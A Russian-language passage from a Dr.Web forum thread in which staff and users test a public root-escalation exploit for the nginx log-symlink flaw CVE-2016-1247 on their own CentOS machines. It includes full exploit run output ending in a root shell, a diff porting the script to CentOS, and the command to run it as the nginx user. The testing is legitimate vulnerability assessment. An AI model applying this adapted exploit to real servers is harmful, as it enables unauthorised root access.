Перейти к содержимому


Фото
* * * * * 1 Голосов

муму


  • Please log in to reply
51 ответов в этой теме

#21 Dmitry Mikhirev

Dmitry Mikhirev

    Member

  • Dr.Web Staff
  • 370 Сообщений:

Отправлено 17 Ноябрь 2016 - 14:53

Aleksandra, то есть в шапке решили не фиксить уязвимость вообще?

Не, просто проблеме присвоили низкий уровень опасности.
Status: CLOSED WONTFIX

Я такой статус привык понимать несколько иначе. ☺



#22 Aleksandra

Aleksandra

    VIP

  • Helpers
  • 2 325 Сообщений:

Отправлено 17 Ноябрь 2016 - 15:13

Я такой статус привык понимать несколько иначе. ☺

Не туда глянула, вместо Status на Priority.

Значит не страшно. Спецам из RedHat виднее.
 

Фееричненько, особенно с учётом того, что большинство горе-админов selinux отключают.

Если у них еще есть пользователь www-data, то пичалька.
Версия Сервера Dr.Web 12.00.0 (15-10-2019 05:00:00)
Linux 4.18.0-80.7.1.el8_0.x86_64 x86_64; glibc 2.28

#23 Dmitry Mikhirev

Dmitry Mikhirev

    Member

  • Dr.Web Staff
  • 370 Сообщений:

Отправлено 17 Ноябрь 2016 - 15:24

Если у них еще есть пользователь www-data
Он там называется nginx, но какая разница?

#24 Aleksandra

Aleksandra

    VIP

  • Helpers
  • 2 325 Сообщений:

Отправлено 17 Ноябрь 2016 - 15:51

Если у них еще есть пользователь www-data

Он там называется nginx, но какая разница?

На сколько я поняла, что если пользователь отличный можно не бояться. Не?
Версия Сервера Dr.Web 12.00.0 (15-10-2019 05:00:00)
Linux 4.18.0-80.7.1.el8_0.x86_64 x86_64; glibc 2.28

#25 Dmitry Mikhirev

Dmitry Mikhirev

    Member

  • Dr.Web Staff
  • 370 Сообщений:

Отправлено 17 Ноябрь 2016 - 16:02

Если пользователь, отличный от root, может получить привилегии root, бояться стоит. Как бы этого пользователя ни звали.

В принципе, конечно, опасность меньше, потому что в Debian под пользователем www-data может работать довольно много разных сервисов, а в RHEL с клонами под nginx обычно работает один только nginx.



#26 at.

at.

    Advanced Member

  • Dr.Web Staff
  • 964 Сообщений:

Отправлено 17 Ноябрь 2016 - 19:00

А названия тем то какие! Самба де-жанейро, муму... О_о

 

Александр Тарасов, Вы действительно думаете что мы все умрем? Вы ошибаетесь.

 

Вас так легко потролить, что даже скучно...  :D


--

#27 Aleksandra

Aleksandra

    VIP

  • Helpers
  • 2 325 Сообщений:

Отправлено 17 Ноябрь 2016 - 23:16

В принципе, конечно, опасность меньше, потому что в Debian под пользователем www-data может работать довольно много разных сервисов, а в RHEL с клонами под nginx обычно работает один только nginx.

У меня не отработало даже с отключенным selinux. Стоит CentOS 7 версия nginx 1.10.2.

Вас так легко потролить, что даже скучно... :D

А зачем? Лучше станьте моим другом.
Версия Сервера Dr.Web 12.00.0 (15-10-2019 05:00:00)
Linux 4.18.0-80.7.1.el8_0.x86_64 x86_64; glibc 2.28

#28 Aleksandra

Aleksandra

    VIP

  • Helpers
  • 2 325 Сообщений:

Отправлено 17 Ноябрь 2016 - 23:47

https://www.opennet.ru/opennews/art.shtml?num=45515
 

root@localhost:/home/aleksa# ls -ld /var/log/nginx/
drwxr-xr-x 2 root root 4096 окт 18 21:37 /var/log/nginx/
root@localhost:/home/aleksa# ls -ld /var/log/nginx/*
-rw-r--r-- 1 root root 0 окт 30 14:10 /var/log/nginx/access.log
-rw-r--r-- 1 root root 75 окт 30 14:15 /var/log/nginx/error.log

Версия Сервера Dr.Web 12.00.0 (15-10-2019 05:00:00)
Linux 4.18.0-80.7.1.el8_0.x86_64 x86_64; glibc 2.28

#29 Dmitry Mikhirev

Dmitry Mikhirev

    Member

  • Dr.Web Staff
  • 370 Сообщений:

Отправлено 18 Ноябрь 2016 - 13:19

У меня не отработало даже с отключенным selinux. Стоит CentOS 7 версия nginx 1.10.2.
bash-4.2$ lsb_release -a
LSB Version:	:core-4.1-amd64:core-4.1-noarch
Distributor ID:	CentOS
Description:	CentOS Linux release 7.2.1511 (Core) 
Release:	7.2.1511
Codename:	Core
bash-4.2$ rpm -q nginx
nginx-1.10.1-1.el7.x86_64
bash-4.2$ getenforce
Permissive
bash-4.2$ ./nginxed-root.sh /var/log/nginx/error.log 
 _______________________________
< Is your server (N)ginxed ? ;o >
 -------------------------------
           \ 
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.  
             .-XXX(   O   O  )XXXXXXXXXXXXXXX- 
            /XXX(       U     )        XXXXXXX\ 
          /XXXXX(              )--_  XXXXXXXXXXX\ 
         /XXXXX/ (      O     )   XXXXXX   \XXXXX\ 
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""
 
Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) 
nginxed-root.sh (ver. 1.0)

Discovered and coded by: 

Dawid Golunski 
https://legalhackers.com 

Modified by Dmitry Mikhirev to work on CentOS 

[+] Starting the exploit as: 
uid=987(nginx) gid=982(nginx) группы=982(nginx) контекст=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxr-xr-x. 1 nginx nginx 960392 ноя 18 13:03 /tmp/nginxrootsh

[+] The server appears to be (N)jinxed (writable logdir) ! :) Symlink created at: 
lrwxrwxrwx. 1 nginx nginx 18 ноя 18 13:03 /var/log/nginx/error.log -> /etc/ld.so.preload

[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am...
[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: 
-rw-r--r--. 1 nginx root 19 ноя 19 06:25 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
/tmp/privesclib.so

[+] Escalating privileges via the /bin/su SUID binary to get root!
-rwsrwxrwx. 1 root root 960392 ноя 18 13:03 /tmp/nginxrootsh

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx. 1 root root 960392 ноя 18 13:03 /tmp/nginxrootsh

The server is (N)jinxed ! ;) Got root via Nginx!

[+] Spawning the rootshell /tmp/nginxrootsh now! 

nginxrootsh-4.2# whoami
root
nginxrootsh-4.2# 

Сообщение было изменено Dmitry Mikhirev: 18 Ноябрь 2016 - 13:20


#30 Aleksandra

Aleksandra

    VIP

  • Helpers
  • 2 325 Сообщений:

Отправлено 18 Ноябрь 2016 - 14:59

aleksa@linux1:~# lsb_release -a
LSB Version:    :core-4.1-amd64:core-4.1-noarch
Distributor ID: CentOS
Description:    CentOS Linux release 7.2.1511 (Core)
Release:        7.2.1511
Codename:       Core
aleksa@linux1:~# rpm -q nginx
nginx-1.10.2-1.el7.ngx.x86_64
aleksa@linux1:~# getenforce
Disabled

aleksa@linux1:~# ls -l nginxed-root.sh
-rwxr--r-- 1 aleksa aleksa 7231 ноя 18 16:45 nginxed-root.sh

 

Чего-то не выходит. Попробуем еще раз. Права, пользователь, группа какие должны быть?


Версия Сервера Dr.Web 12.00.0 (15-10-2019 05:00:00)
Linux 4.18.0-80.7.1.el8_0.x86_64 x86_64; glibc 2.28

#31 Dmitry Mikhirev

Dmitry Mikhirev

    Member

  • Dr.Web Staff
  • 370 Сообщений:

Отправлено 18 Ноябрь 2016 - 16:43

--- nginxed-root.sh.orig	2016-11-19 06:36:48.181000000 +0300
+++ nginxed-root.sh	2016-11-19 06:42:03.082000000 +0300
@@ -50,7 +50,8 @@
 BACKDOORPATH="/tmp/nginxrootsh"
 PRIVESCLIB="/tmp/privesclib.so"
 PRIVESCSRC="/tmp/privesclib.c"
-SUIDBIN="/usr/bin/sudo"
+SUIDBIN="/bin/su"
+NGINXUSER='nginx'
 
 function cleanexit {
 	# Cleanup 
@@ -100,7 +101,8 @@
 _eascii_
 
 echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
-echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"
+echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com\n"
+echo -e "Modified by Dmitry Mikhirev to work on CentOS\033[0m"
 
 # Args
 if [ $# -lt 1 ]; then
@@ -112,9 +114,9 @@
 # Priv check
 
 echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
-id | grep -q www-data
+id -un | grep -q "^$NGINXUSER\$"
 if [ $? -ne 0 ]; then
-	echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
+	echo -e "\n[!] You need to execute the exploit as $NGINXUSER user! Exiting.\n"
 	exit 3
 fi
 

Запускать надо, понятное дело, из-под пользователя nginx.



#32 Dmitry Mikhirev

Dmitry Mikhirev

    Member

  • Dr.Web Staff
  • 370 Сообщений:

Отправлено 18 Ноябрь 2016 - 18:08

Кстати, на опеннете высказали разумную мысль:

А почему проблему видят в дебиане, а не в работе nginx с файлами логов? При получении сигнала USR1 он переоткрывает логи, создавая описанную проблему с симлинками. То есть единственное, в чем виноваты некоторые(к примеру в wheezy это не так) из debian дистров, так в том, что /var/log/nginx имеет владельца www-data. Однако ведь точно такая же проблема возникнет, если админ скажет nginx класть логи для виртуалхостов непосредственно в их каталоги, что весьма удобно и никаких предупреждений на этот счет в доке nginx нет.

https://trac.nginx.org/nginx/ticket/1134#ticket


Сообщение было изменено Dmitry Mikhirev: 18 Ноябрь 2016 - 18:08


#33 Aleksandra

Aleksandra

    VIP

  • Helpers
  • 2 325 Сообщений:

Отправлено 20 Ноябрь 2016 - 13:28

Запускать надо, понятное дело, из-под пользователя nginx.

cat /etc/passwd покажите.
Версия Сервера Dr.Web 12.00.0 (15-10-2019 05:00:00)
Linux 4.18.0-80.7.1.el8_0.x86_64 x86_64; glibc 2.28

#34 Dmitry Mikhirev

Dmitry Mikhirev

    Member

  • Dr.Web Staff
  • 370 Сообщений:

Отправлено 20 Ноябрь 2016 - 14:15

Я ту виртуалку давно уже прибил, но ничего необычного там не было. Пользователь nginx создаётся при установке одноимённого пакета из epel.



#35 Aleksandra

Aleksandra

    VIP

  • Helpers
  • 2 325 Сообщений:

Отправлено 20 Ноябрь 2016 - 20:02

Пользователь nginx создаётся при установке одноимённого пакета из epel.

Это все понятно. Я другое не поняла, как Вам удается запустить эксплоит от пользователя nginx без пароля?

У меня так:

root@localhost:/home/aleksa# cat /etc/passwd

...
nginx:x:998:997:Nginx web server:/var/lib/nginx:/sbin/nologin
...
Версия Сервера Dr.Web 12.00.0 (15-10-2019 05:00:00)
Linux 4.18.0-80.7.1.el8_0.x86_64 x86_64; glibc 2.28

#36 Aleksandra

Aleksandra

    VIP

  • Helpers
  • 2 325 Сообщений:

Отправлено 20 Ноябрь 2016 - 20:04

usermod -s /bin/bash nginx ?

p. s. Кстати, nginx в epel обновили до 1.10.2.

Сообщение было изменено Aleksandra: 20 Ноябрь 2016 - 20:05

Версия Сервера Dr.Web 12.00.0 (15-10-2019 05:00:00)
Linux 4.18.0-80.7.1.el8_0.x86_64 x86_64; glibc 2.28

#37 Dmitry Mikhirev

Dmitry Mikhirev

    Member

  • Dr.Web Staff
  • 370 Сообщений:

Отправлено 20 Ноябрь 2016 - 20:08

# su -s /bin/bash nginx


Сообщение было изменено Dmitry Mikhirev: 20 Ноябрь 2016 - 20:10


#38 Aleksandra

Aleksandra

    VIP

  • Helpers
  • 2 325 Сообщений:

Отправлено 20 Ноябрь 2016 - 20:43

Подправила так называемый эксплоит. Заменила www-data на nginx. Запускаем...

nginx@localhost:/home/aleksa# ./nginxed-root.sh /var/log/nginx/error.log
 _______________________________
< Is your server (N)jinxed ? ;o >
 -------------------------------
           \
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.
             .-XXX(   O   O  )XXXXXXXXXXXXXXX-
            /XXX(       U     )        XXXXXXX\
          /XXXXX(              )--_  XXXXXXXXXXX\
         /XXXXX/ (      O     )   XXXXXX   \XXXXX\
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""

Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247)
nginxed-root.sh (ver. 1.0)

Discovered and coded by:

Dawid Golunski
https://legalhackers.com

[+] Starting the exploit as:
uid=998(nginx) gid=997(nginx) группы=997(nginx)

[+] Compiling the privesc shared library (/tmp/privesclib.c)
/bin/bash: gcc: команда не найдена

[!] Failed to compile the privesc lib /tmp/privesclib.c.

[+] Cleaning up...
rm: невозможно удалить «/var/log/nginx/error.log»: Отказано в доступе
touch: невозможно выполнить touch для «/var/log/nginx/error.log»: Отказано в доступе

[+] Job done. Exiting with code 2

Предлагает поставить на сервер компилятор. О_о

 

Ставим... Снова запускаем.

nginx@localhost:/home/aleksa# ./nginxed-root.sh /var/log/nginx/error.log
 _______________________________
< Is your server (N)jinxed ? ;o >
 -------------------------------
           \
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.
             .-XXX(   O   O  )XXXXXXXXXXXXXXX-
            /XXX(       U     )        XXXXXXX\
          /XXXXX(              )--_  XXXXXXXXXXX\
         /XXXXX/ (      O     )   XXXXXX   \XXXXX\
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""

Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247)
nginxed-root.sh (ver. 1.0)

Discovered and coded by:

Dawid Golunski
https://legalhackers.com

[+] Starting the exploit as:
uid=998(nginx) gid=997(nginx) группы=997(nginx)

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 nginx nginx 960392 ноя 20 22:38 /tmp/nginxrootsh
rm: невозможно удалить «/var/log/nginx/error.log»: Отказано в доступе

[!] Couldn't remove the /var/log/nginx/error.log file or create a symlink.

[+] Cleaning up...
rm: невозможно удалить «/var/log/nginx/error.log»: Отказано в доступе
touch: невозможно выполнить touch для «/var/log/nginx/error.log»: Отказано в доступе

[+] Job done. Exiting with code 3

Что дальше?


Версия Сервера Dr.Web 12.00.0 (15-10-2019 05:00:00)
Linux 4.18.0-80.7.1.el8_0.x86_64 x86_64; glibc 2.28

#39 SergSG

SergSG

    The Master

  • Posters
  • 12 295 Сообщений:

Отправлено 20 Ноябрь 2016 - 21:00

Aleksandra, не ведитесь.



#40 Dmitry Mikhirev

Dmitry Mikhirev

    Member

  • Dr.Web Staff
  • 370 Сообщений:

Отправлено 20 Ноябрь 2016 - 21:06

ls -ld /var/log/nginx

ls -l /var/log/nginx/error.log

getenforce




Читают тему: 0

0 пользователей, 0 гостей, 0 скрытых